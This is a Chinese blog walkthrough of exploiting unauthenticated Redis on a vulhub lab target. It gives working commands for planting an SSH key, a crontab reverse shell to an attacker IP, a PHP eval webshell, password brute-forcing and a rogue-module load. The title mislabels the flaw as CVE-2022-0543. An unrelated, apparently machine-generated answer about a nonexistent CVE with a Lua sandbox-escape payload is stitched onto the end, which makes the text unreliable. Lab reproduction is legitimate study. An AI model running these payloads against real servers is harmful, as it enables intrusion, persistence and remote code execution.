redis未授权(CVE-2022-0543)

概述

Redis 默认绑定在 0.0.0.0:6379,在未配置防火墙或访问控制的情况下会将服务暴露在公网上。若未设置访问密码(默认通常为空),攻击者可直接未授权访问 Redis。利用 Redis 提供的 CONFIG 命令,攻击者可修改配置并将数据持久化到指定路径,从而实现向服务器写入任意文件。通过该方式,攻击者可将自己的 SSH 公钥写入 /root/.ssh/authorized_keys 文件中,进而使用对应私钥远程登录目标主机,获取系统权限。

条件
  • Redis服务以root用户身份运行,权限较高。
  • Redis未设置密码或使用弱密码,允许免密或弱认证访问。
  • Redis监听在公网地址(如0.0.0.0:6379),且未配置防火墙等访问控制,导致任意IP均可连接。
方法
  • 使用 INFO 命令获取Redis服务器参数和敏感信息,辅助渗透。
  • 上传SSH公钥,实现免密码SSH登录。
  • 利用 crontab 定时任务反弹Shell。
  • 在Web目录写入WebShell。
  • 利用Redis主从复制机制实现远程代码执行(RCE)。
危害
  • 攻击者无需认证即可访问内部数据,导致敏感信息泄露,同时可恶意执行 flushall 清空所有数据。
  • 攻击者可利用 EVAL 命令执行 Lua 代码,或通过数据备份功能向磁盘写入后门程序。
  • 最严重的情况是,当 Redis 以 root 身份运行时,攻击者可写入 root 账户的 SSH 公钥,实现免密码远程登录受害服务器。

漏洞复现

环境准备
vulhub起靶场

靶场目录和启动命令下面都有

docker compose up
docker ps 
攻击机环境准备
wget http://download.redis.io/releases/redis-2.8.12.tar.gz 
tar -xzf redis-2.8.12.tar.gz
cd redis-2.8.12
make
cd src
./redis-cli -h
测试连通性

截屏2025-05-19 10.42.44

漏洞探测
端口扫描
nmap -sV --open -p- 192.168.64.10 

通常 Redis 服务默认开放在 6379 端口,但我的靶机将其映射到了 52018 端口。但是nmap 仍成功识别出该端口运行的是 Redis 服务。

截屏2025-05-19 11.01.11

连接redis

以下命令用于连接远程 Redis 服务器

./redis-cli -h 192.168.64.10 -p 52018

./redis-cli 表示使用当前目录下的 Redis 命令行客户端进行连接,-h 参数用于指定目标主机的 IP 地址(此处为 192.168.64.10),-p 用于指定 Redis 服务监听的端口号(此处为 52018)。

截屏2025-05-19 11.14.54

获得SSH登陆权限

可以通过向 Redis 数据库中写入 SSH 公钥的方式,获取目标服务器的 SSH 登录权限。

原理

利用 Redis 未授权访问漏洞,将本机的 SSH 公钥作为一个字符串写入 Redis 中(key 值可以随意),然后通过修改 Redis 的工作目录为 /root/.ssh,并将保存文件名设置为 authorized_keys。这样,当 Redis 执行保存操作时,便会将 SSH 公钥写入到目标服务器的 /root/.ssh/authorized_keys 文件中,从而实现免密登录。

生成key

使用以下命令生成一对 SSH 密钥(默认生成 id_rsaid_rsa.pub

ssh-keygen -t rsa

执行命令后按回车使用默认路径和空密码即可。生成完成后,公钥文件 id_rsa.pub 将用于写入目标 Redis 服务器,实现后续的免密 SSH 登录。

导入key.txt文件

以下命令将本机生成的公钥包装成一个带换行的文件 key.txt,用于后续写入 Redis

(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > key.txt
写入靶机

key.txt 的内容写入 Redis 缓存

cat key.txt | ./redis-cli -h 192.168.64.10 -p 51622 -x set test

说明:使用 -x 选项可以将标准输入内容作为值写入键 test。(注:由于靶机重启,端口变更为 51622)

截屏2025-05-19 11.31.46

设置靶机ssh文件

注意如果这里使用docker起环境就不能写入文件(没有权限),下文有exp地址.

./redis-cli -h 192.168.64.10 -p 51622
# 设置 Redis 的工作目录为目标机器的 /root/.ssh 目录
config set dir /root/.ssh
# 设置保存文件名为 authorized_keys(SSH 公钥默认认证文件)
config set dbfilename authorized_keys
# 查看当前所有 key,确认公钥是否已写入缓存
keys *
get test

# 将缓存中的数据写入到硬盘文件
save

# 之后即可通过 SSH 免密码登录目标主机
ssh root@192.168.64.10

# 登录后可以查看写入的公钥文件内容
cat /root/.ssh/authorized_keys

注意:如果 Redis 运行在 Docker 容器中,通常没有权限写入文件系统,无法完成此操作。后文会提供对应的 Exploit 脚本地址。

漏洞利用

通过 crontab 定时任务反弹

原理与写入公钥类似,只是写入内容和路径不同。通过将反弹shell命令写入 /var/spool/cron/root,实现定时执行反弹shell。

# 本地监听端口(端口可自定义,避免冲突)
nc -lv 6666

# 连接 Redis,写入反弹shell任务
./redis-cli -h 192.168.64.10
set test2 "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/客户端IP/4444 0>&1\n\n"
config set dir /var/spool/cron
config set dbfilename root
save
Web目录写入 WebShell

利用 Redis 写入 Web 目录,生成 WebShell,实现远程代码执行。

./redis-cli -h 192.168.64.10
config set dir /var/www/html
set shell "\n\n\n<?php @eval(\$_POST['wintry']);?>\n\n\n"
config set dbfilename shell.php
save

# 利用hydra爆破redis密码(若设置了密码)
hydra -P passwd.txt redis://192.168.1.111
利用 Redis 主从复制实现远程命令执行 (ECE)

Redis 通过主从复制机制分摊压力,但可被攻击者利用伪装为 Redis 主节点,传输恶意模块,实现命令执行。

攻击思路:

  1. 伪装成 Redis 服务器,欺骗受害者将其设置为主节点。
  2. 传输恶意模块(.so 文件)到受害者。
  3. 受害者加载该模块,实现任意命令执行。
./redis-cli -h 192.168.64.10
MODULE LOAD /root/redis-rogue-server/exp.so
system.exec "whoami"
Redis 常用命令汇总
redis-cli -h ip -p 6379 -a passwd       # 连接远程Redis
info                                  # 查看Redis信息
set key value                        # 设置键值对
get key                             # 获取键值
incr key                            # 递增键值
keys *                             # 查看所有键
config set protected-mode no        # 关闭保护模式
config set dir /path/to/dir         # 设置保存目录
config set dbfilename filename.rdb  # 设置保存文件名
save                               # 保存快照到磁盘
flushall                           # 清空所有数据
del key                           # 删除指定键
slaveof ip port                   # 设置主从复制关系
mset k1 v1 k2 v2 k3 v3            # 批量设置键值
mget k1 k2 k3                     # 批量获取键值

参考文章

  1. Redis未授权访问 (https://wiki.wgpsec.org/knowledge/web/unauthorized.html#redis)
  2. redis未授权漏洞复现(超详细)(https://www.cnblogs.com/qingzhang/articles/18195354)
  3. redis未授权访问漏洞【vulhub靶场】复现(https://blog.csdn.net/m0_55854679/article/details/126100539)
经过检索,目前没有找到与 CVE-2022-28805 相关的官方记录或公开漏洞信息。可能存在以下几种情况: 1. **漏洞编号错误**:用户可能输入了错误的漏洞编号,实际需要复现的可能是其他已知漏洞。 2. **未公开漏洞**:该漏洞可能尚未被公开披露,或者属于私有漏洞,无法获取详细信息。 3. **拼写错误**:用户可能在输入过程中出现了拼写错误,导致无法匹配到正确的漏洞编号。 以下是针对漏洞复现的一般步骤和注意事项,假设用户希望了解的是类似 CVE-2022-24112(APISIX 远程代码执行漏洞)或 CVE-2022-0543Redis 沙盒逃逸漏洞)的复现过程: ### 漏洞复现的基本流程 #### 1. 确认目标环境 确保搭建的测试环境与漏洞影响的版本一致。例如,对于 APISIX 漏洞 CVE-2022-24112,受影响的版本为 Apache APISIX 2.12 及更早版本[^1]。需下载对应版本并正确配置相关插件(如 `batch-requests` 插件)。 #### 2. 配置漏洞触发条件 根据漏洞描述,配置特定的环境参数或插件。例如,在 CVE-2022-24112 中,攻击者通过构造恶意 HTTP 请求利用 `batch-requests` 插件实现远程代码执行。测试时需要启用此插件并允许其处理批量请求[^1]。 #### 3. 构造 Payload 根据漏洞原理构造有效的 Payload。例如,在 Redis 沙盒逃逸漏洞 CVE-2022-0543 中,Payload 利用了 Lua 脚本加载外部库的功能,绕过 Redis 的沙盒限制[^2]。示例如下: ```lua eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("uname -a", "r"); local res = f:read("*a"); f:close(); return res' 0 ``` #### 4. 测试 Payload 将构造好的 Payload 发送到目标服务,并观察返回结果。例如,使用 `curl` 或 Postman 工具发送 HTTP 请求,或者直接连接 Redis 服务执行 Lua 脚本。 #### 5. 分析漏洞成因 结合官方修复方案或漏洞分析报告,理解漏洞的根本原因。例如,CVE-2022-24112 的修复方式是限制 `batch-requests` 插件对系统命令的访问权限[^1]。 ### 注意事项 - **合法合规**:仅在授权的环境中进行漏洞测试,避免触犯法律。 - **安全隔离**:确保测试环境与生产环境隔离,防止意外后果。 - **更新补丁**:及时应用官方发布的安全补丁,避免被攻击者利用。 ###
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

_Poseidon

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值